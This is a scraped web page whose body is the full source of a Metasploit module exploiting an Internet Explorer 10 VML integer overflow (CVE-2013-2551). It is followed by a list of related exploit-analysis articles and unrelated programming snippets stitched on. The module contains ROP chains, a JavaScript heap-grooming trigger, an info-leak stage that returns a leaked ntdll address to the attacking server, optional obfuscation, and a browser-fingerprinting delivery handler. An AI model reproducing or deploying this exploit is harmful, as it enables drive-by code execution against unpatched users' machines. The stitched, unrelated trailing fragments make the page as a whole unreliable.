- :os_name => OperatingSystems::WINDOWS,
- :rank => Rank
- })
- def initialize(info={})
- super(update_info(info,
- 'Name' => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
- 'Description' => %q{
- This module exploits an integer overflow vulnerability on Internet Explorer.
- The vulnerability exists in the handling of the dashstyle.array length for vml
- shapes on the vgx.dll module. This module has been tested successfully on Windows 7
- SP1 with IE10. It uses the the JRE6 to bypass ASLR by default. In addition a target
- to use an info leak to disclose the ntdll.dll base address is provided. This target
- requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
- installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Nicolas Joly', # Vulnerability discovery, PoC and analysis
- 'Danny (modified from Nicolas Joly)', # PoC
- 'juan vazquez' # Metasploit module
- ],
- 'References' =>
- [
- [ 'CVE', '2013-2551' ],
- [ 'OSVDB', '' ],
- [ 'BID', '' ],
- [ 'MSB', 'MS13-037' ],
- [ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
- [ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
- ],
- 'Payload' =>
- {
- 'Space' => 948,
- 'DisableNops' => true,
- 'BadChars' => "\x00",
- 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
- },
- 'DefaultOptions' =>
- {
- 'InitialAutoRunScript' => 'migrate -f'
- },
- 'Platform' => 'win',
- 'Targets' =>
- [
- [ 'Automatic', {} ],
- [ 'IE 10 on Windows 7 SP1 with JRE6 ROP', # default
- {
- 'Rop' => :jre,
- 'Offset' => '0x5f4'
- }
- ],
- # requires:
- # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
- # * ntdll.dll v6.1.7601.17725 (MS12-001)
- [ 'IE 10 on Windows 7 SP1 with ntdll.dll Info Leak',
- {
- 'Rop' => :ntdll,
- 'Offset' => '0x5f4'
- }
- ]
- ],
- 'Privileged' => false,
- 'DisclosureDate' => "Mar 06 2013",
- 'DefaultTarget' => 0))
- register_options(
- [
- OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
- ], self.class)
- end
- def exploit
- @second_stage_url = rand_text_alpha(10)
- @leak_param = rand_text_alpha(5)
- super
- end
- ###############################
- # edi -> ZwProtectVirtualMemory
- # esi -> return address
- # ebp -> 0xffffffff
- # esp -> ptr to BaseAddress
- # ebx -> ptr to NumberOfBytesToProtect
- # edx -> 0x00000040
- # ecx -> ptr to OldAccessProtection
- def get_ntdll_rop
- case @ntdll_version
- when "6.1.7601.17514"
- stack_pivot = [
- @ntdll_base+0x0001578a, # ret # from ntdll
- @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
- @ntdll_base+0x00047733, # XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN from [ntdll.dll]
- ].pack("V*")
- ntdll_rop = [
- @ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi)
- 0x00010400, # NumberOfBytesToProtect
- @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax)
- 0x90909090,
- 0x90909090,
- 0x90909090,
- @ntdll_base+0x0001dd9f, # XCHG EAX,EBX # ADD EAX,DWORD PTR [EAX] # RETN 0x18 (move eax -> ebx) [ebx -> ptr to NumberOfBytesToProtect]
- @ntdll_base+0x00005922, # RETN
- 0x90909090,
- 0x90909090,
- 0x90909090,
- 0x90909090,
- 0x90909090,
- 0x90909090,
- @ntdll_base+0x0006e388, # PUSH ESP # MOV CL,10 # INC DWORD PTR [ECX+8] # POP ESI # POP EBP # RETN 0x0C (move esp -> esi)
- 0x41414141, # OldAccessProtection
- @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN (move esi -> eax)
- 0x90909090,
- 0x90909090,
- 0x90909090,
- @ntdll_base+0x00060549, # XCHG EAX,ECX # RETN (move eax -> ecx) [ecx -> ptr to OldAccessProtection]
- @ntdll_base+0x000ce8fe, # PUSH ESP # XOR DL,BYTE PTR [EAX] # POP EBP # RETN 0x04 (move esp -> ebp)
- @ntdll_base+0x000ab623, # XCHG EAX,EBP # RETN (move ebp -> eax) EEEEESSSSPPPPP
- 0x90909090,
- @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN
- @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN
- @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN
- @ntdll_base+0x00057dc2, # ADD EAX,20 # RETN 0x80 / 4 = 0x20(32)
- @ntdll_base+0x0005dde3, # MOV DWORD PTR [EAX],EAX # POP ESI # POP EBP # RETN 0x04 [BaseAddress]
- 0x90909090,
- 0x90909090,
- @ntdll_base+0x00035508, # ADD EAX,1 # RETN
- 0x90909090,
- @ntdll_base+0x00035508, # ADD EAX,1 # RETN
- @ntdll_base+0x00035508, # ADD EAX,1 # RETN
- @ntdll_base+0x00035508, # ADD EAX,1 # RETN
- @ntdll_base+0x00089d85, # XCHG EAX,ESI # RETN [esi -> return addrsss]
- @ntdll_base+0x0009a30c, # pop eax # retn
- 0xFA3DFA7F,
- @ntdll_base+0x0003ab39, # add eax,5C205C1 # retn
- @ntdll_base+0x00036d70, # xchg eax,edx # retn [edx -> 0x00000040]
- @ntdll_base+0x00047643, # pop edi # retn [edi -> ZwProtectVirtualMemory]
- @ntdll_base+0x00045F18, # ntdll!ZwProtectVirtualMemory
- @ntdll_base+0x000cb72a, # pop ebp # retn [ebp -> 0xffffffff]
- 0xffffffff, # ProcessHandle
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x00005922, # RETN
- @ntdll_base+0x000227c4, # PUSHAD # RETN eax ecx edx ebx esp(original) ebp esi edi
- 0x90909090,
- ].pack("V*")
- return stack_pivot + ntdll_rop
- when "6.1.7601.17725" # 未构造
- stack_pivot = [
- @ntdll_base+0x0001579a, # ret # from ntdll
- @ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
- @ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
- ].pack("V*")
- ntdll_rop = [
- @ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
- 0x0c0c0c40, # ret to shellcode
- 0xffffffff, # ProcessHandle
- 0x0c0c0c34, # ptr to BaseAddress
- 0x0c0c0c38, # ptr to NumberOfBytesToProtect
- 0x00000040, # NewAccessProtection
- 0x0c0c0c3c, # ptr to OldAccessProtection
- 0x0c0c0c40, # BaseAddress
- 0x00000400, # NumberOfBytesToProtect
- 0x41414141 # OldAccessProtection
- ].pack("V*")
- return stack_pivot + ntdll_rop
- else
- return ""
- end
- end
- def get_payload(t, cli)
- code = payload.encoded
- # No rop. Just return the payload.
- return code if t['Rop'].nil?
- # Both ROP chains generated by mona.py - See corelan.be
- case t['Rop']
- when :jre
- print_status("Using JRE ROP")
- stack_pivot = [
- 0x7c348b06, # ret # from msvcr71
- 0x7c341748, # pop ebx # ret # from msvcr71
- 0x7c348b05 # xchg eax, esp # ret from msvcr71
- ].pack("V*")
- rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
- when :ntdll
- print_status("Using ntdll ROP")
- rop_payload = get_ntdll_rop + code
- end
- return rop_payload
- end
- def load_exploit_html(my_target, cli)
- p = get_payload(my_target, cli)
- js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
- js_ntdllBase = @ntdll_base
- js_trigger = %Q|
- var rect_array = new Array();
- var a = new Array();
- var ntdllBase = #{js_ntdllBase};
- function createRects(){
- for(var i=0; i<0x1000; i++){
- rect_array[i] = document.createElement("v:shape")
- rect_array[i].id = "rect" + i.toString()
- document.body.appendChild(rect_array[i])
- }
- }
- function exploit(){
- // leak the address of shellcode
- var vml2 = document.getElementById("vml2")
- var i = 0
- for (i=0; i<0x400; i++){
- a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
- }
- for (i=0; i<0x400; i++){
- a[i].rotation;
- if (i == 0x300) {
- vml2.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
- }
- }
- var length_orig = vml2.dashstyle.array.length;
- vml2.dashstyle.array.length = 0 - 1;
- var marginLeftAddress;
- for (i=0; i<0x400; i++)
- {
- a[i].marginLeft = unescape("#{js_code}");
- marginLeftAddress = vml2.dashstyle.array.item(0x2E+0x16);
- if (marginLeftAddress > 0) {
- vml2.dashstyle.array.length = length_orig;
- break;
- }
- }
- // trigger
- var j = 0x400
- var vml1 = document.getElementById("vml1")
- for (j=0x400; j<0x800; j++){
- a[j] = document.getElementById("rect" + j.toString())._anchorRect;
- if (j == 0x700) {
- vml1.dashstyle = "1 2 3 4"
- }
- }
- //length_orig = vml1.dashstyle.array.length;
- vml1.dashstyle.array.length = 0 - 1;
- vml1.dashstyle.array.item(6) = marginLeftAddress; // vgx!COALineDashStyleArray::put_item+0x84/72 (4 + 2)
- vml1.dashstyle.array.item(8) = marginLeftAddress; // ebx
- vml1.dashstyle.array.item(9) = ntdllBase + 0xcc18d; // (RVA : 0x000cc18d) : # MOV ESP,EBX # POP EBX # RETN
- vml1.dashstyle.array.length = length_orig ;
- //for (j=0x400; j<0x800; j++)
- {
- delete a[0x701];
- CollectGarbage();
- }
- location.reload();
- }
- |
- create_rects_func = "createRects"
- exploit_func = "exploit"
- if datastore['OBFUSCATE']
- js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
- js_trigger.obfuscate
- create_rects_func = js_trigger.sym("createRects")
- exploit_func = js_trigger.sym("exploit")
- end
- html = %Q|
- <html>
- <head>
- <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
- </head>
- <title>
- </title>
- <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
- <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
- <script>
- #{js_trigger}
- </script>
- <body onload="#{create_rects_func}(); #{exploit_func}();">
- <div id="blah"></div>
- <v:oval>
- <v:stroke id="vml1"/>
- </v:oval>
- <v:oval>
- <v:stroke id="vml2"/>
- </v:oval>
- </body>
- </html>
- |
- return html
- end
- def html_info_leak
- js_trigger = %Q|
- var rect_array = new Array()
- var a = new Array()
- function createRects(){
- for(var i=0; i<0x400; i++){
- rect_array[i] = document.createElement("v:shape")
- rect_array[i].id = "rect" + i.toString()
- document.body.appendChild(rect_array[i])
- }
- }
- function exploit(){
- var vml1 = document.getElementById("vml1")
- for (var i=0; i<0x400; i++){
- a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
- }
- for (var i=0; i<0x400; i++){
- a[i].rotation;
- if (i == 0x300) {
- vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
- }
- }
- var length_orig = vml1.dashstyle.array.length;
- vml1.dashstyle.array.length = 0 - 1;
- for (var i=0; i<0x400; i++)
- {
- a[i].marginLeft = "a";
- marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
- if (marginLeftAddress > 0) {
- vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
- var leak = a[i].marginLeft;
- vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
- vml1.dashstyle.array.length = length_orig;
- document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
- return;
- }
- }
- }
- |
- create_rects_func = "createRects"
- exploit_func = "exploit"
- if datastore['OBFUSCATE']
- js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
- js_trigger.obfuscate
- create_rects_func = js_trigger.sym("createRects")
- exploit_func = js_trigger.sym("exploit")
- end
- html = %Q|
- <html>
- <head>
- <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
- </head>
- <title>
- </title>
- <style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
- <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
- <script>
- #{js_trigger}
- </script>
- <body onload="#{create_rects_func}(); #{exploit_func}();">
- <v:oval>
- <v:stroke id="vml1"/>
- </v:oval>
- </body>
- </html>
- |
- return html
- end
- def get_target(agent)
- #If the user is already specified by the user, we'll just use that
- return target if target.name != 'Automatic'
- nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
- ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
- ie_name = "IE #{ie}"
- case nt
- when '5.1'
- os_name = 'Windows XP SP3'
- when '6.0'
- os_name = 'Windows Vista'
- when '6.1'
- os_name = 'Windows 7'
- end
- targets.each do |t|
- if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
- print_status("Target selected as: #{t.name}")
- return t
- end
- end
- return nil
- end
- def on_request_uri(cli, request)
- agent = request.headers['User-Agent']
- uri = request.uri
- print_status("Requesting: #{uri}")
- my_target = get_target(agent)
- # Avoid the attack if no suitable target found
- if my_target.nil?
- print_error("Browser not supported, sending 404: #{agent}")
- send_not_found(cli)
- return
- end
- if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
- html = html_info_leak
- html = html.gsub(/^\t\t/, '')
- print_status("Sending HTML to info leak...")
- send_response(cli, html, {'Content-Type'=>'text/html'})
- else
- leak = begin
- request.uri_parts["QueryString"][@leak_param].to_i
- rescue
- end
- # Use JRE1.6 to exploit it.
- if leak == 0
- html = load_exploit_html(my_target, cli)
- html = html.gsub(/^\t\t/, '')
- print_status("Sending HTML to trigger(Use JRE1.6)...")
- send_response(cli, html, {'Content-Type'=>'text/html'})
- return
- end
- # Use Ntdll to exploit it.
- print_status("ntdll leak: 0x#{leak.to_s(16)}")
- fingerprint = leak & 0x0000ffff
- case fingerprint
- when 0x70B0
- @ntdll_version = "6.1.7601.17514"
- @ntdll_base = leak - 0x470B0
- when 0x7090
- @ntdll_version = "6.1.7601.17725" # MS12-001
- @ntdll_base = leak - 0x47090
- else
- print_error("ntdll version not detected, sending 404: #{agent}")
- send_not_found(cli)
- return
- end
- html = load_exploit_html(my_target, cli)
- html = html.gsub(/^\t\t/, '')
- print_status("Sending HTML to trigger(Use Ntdll)...")
- send_response(cli, html, {'Content-Type'=>'text/html'})
- end
- end
- end
CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)的更多相关文章
- CVE-2014-0322漏洞成因与利用分析
CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了 ...
- CVE-2013-3897漏洞成因与利用分析
CVE-2013-3897漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对 ...
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- Lib之过?Java反序列化漏洞通用利用分析
转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...
- CVE-2014-0321漏洞成因分析
1. 简介 最近在补之前落下的想学的东西,古河之前已经在微薄里面公布了此漏洞的poc及利用思路,不过在看古河的文章前我先独立分析一下其漏洞成因,记录下自己的分析流程. 2. 实验环境 操作系统:Win ...
- Office高级威胁漏洞在野利用分析
高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...
- CVE-2015-3864漏洞利用分析(exploit_from_google)
title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...
- 干货|微软远程桌面服务蠕虫漏洞(CVE-2019-1182)分析
2019年8月,微软发布了一套针对远程桌面服务的修复程序,其中包括两个关键的远程执行代码(RCE)漏洞,CVE-2019-1181和CVE-2019-1182.与之前修复的"BlueKeep ...
- CVE-2015-0057 POC构造 & 利用分析(2015.7)
CVE-2015-0057 POC构造 & 利用分析 主要内容: 构造POC 利用思路 0x00 初探 从这篇文章可以获知: 1.问题出在 win32k!xxxEnableWndSBArrow ...
随机推荐
- Druid连接池(三)
十二.Druid缓存 连接Oracle数据库,打开PSCache,在其他的数据库连接池都会存在内存占用过多的问题,Druid是唯一解决这个问题的连接池. Oracle数据库下PreparedState ...
- 动态创建table表格页面出现undefined原因以及修改
源代码: var html: if(lists) { html += '<a href="https://www.4001149114.com/NLJJ/member/sharecel ...
- nodejs zip压缩版安装与配置
Node.js 1.下载 下载地址:https://nodejs.org/zh-cn/download/ 选择相应的版本下载 2.解压缩 将文件解压到要安装的位置,并新建两个目录 node-globa ...
- C#学习之文件操作
1 DirectoryInfo 类介绍 DirectoryInfo 类在 .net 开发中主要用于创建.移动和枚举目录和子目录的实例方法,此类不能被继承. 从事 .net 软件开发的同事对 Dir ...
- for in可遍历原型链上扩展的属性,Object.keys() 只遍历自身属性
一.for in 1.使用 for in 循环遍历对象的属性时,原型链上的所有属性都将被访问: Object.prototype.say="cgl"; // 修改Object.pr ...
- Ionic项目中如何使用Native Camera
本文介绍如何在ionic项目中使用设备的camera. Ionic版本:v3.2.0 / 2017-05-10 / MIT Licensed / Release Notes ============= ...
- C# WPF打包部署时添加注册表信息实现开机启动
使用VS自带的打包模块可以很方便的对项目进行打包部署,同时我们也可以在安装部署时操作注册表实现开机启动软件.具体实现如下: 创建安装部署这部分就不用说了,添加安装部署项目后,鼠标右键安装项目-> ...
- mysql 中文乱码 解决
数据库安装设置编码: mysql默认的字符编码是latin1,而我用的是utf-8,存入数据库就变成了?????这样的乱码,解决方法: 修改安装路径下的my.ini文件,default-chara ...
- Eureka Server项目启动报错处理
Eureka Server项目启动报错处理 Eureka是一个服务发现组件,提供服务注册.发现等注册中心功能,使用spring boot启动eureka应用时出现报错: 20:36:17.646 [r ...
- MyEclipse中更改JRE环境
今天代码中需要用到λ表达式,但λ表达式需要JRE1.8的支持,而MyEclipse设置的默认JRE是1.7.为了是程序能够顺利通过编译,需要将MyEclipse的JRE由1.7转换为1.8.步骤如下: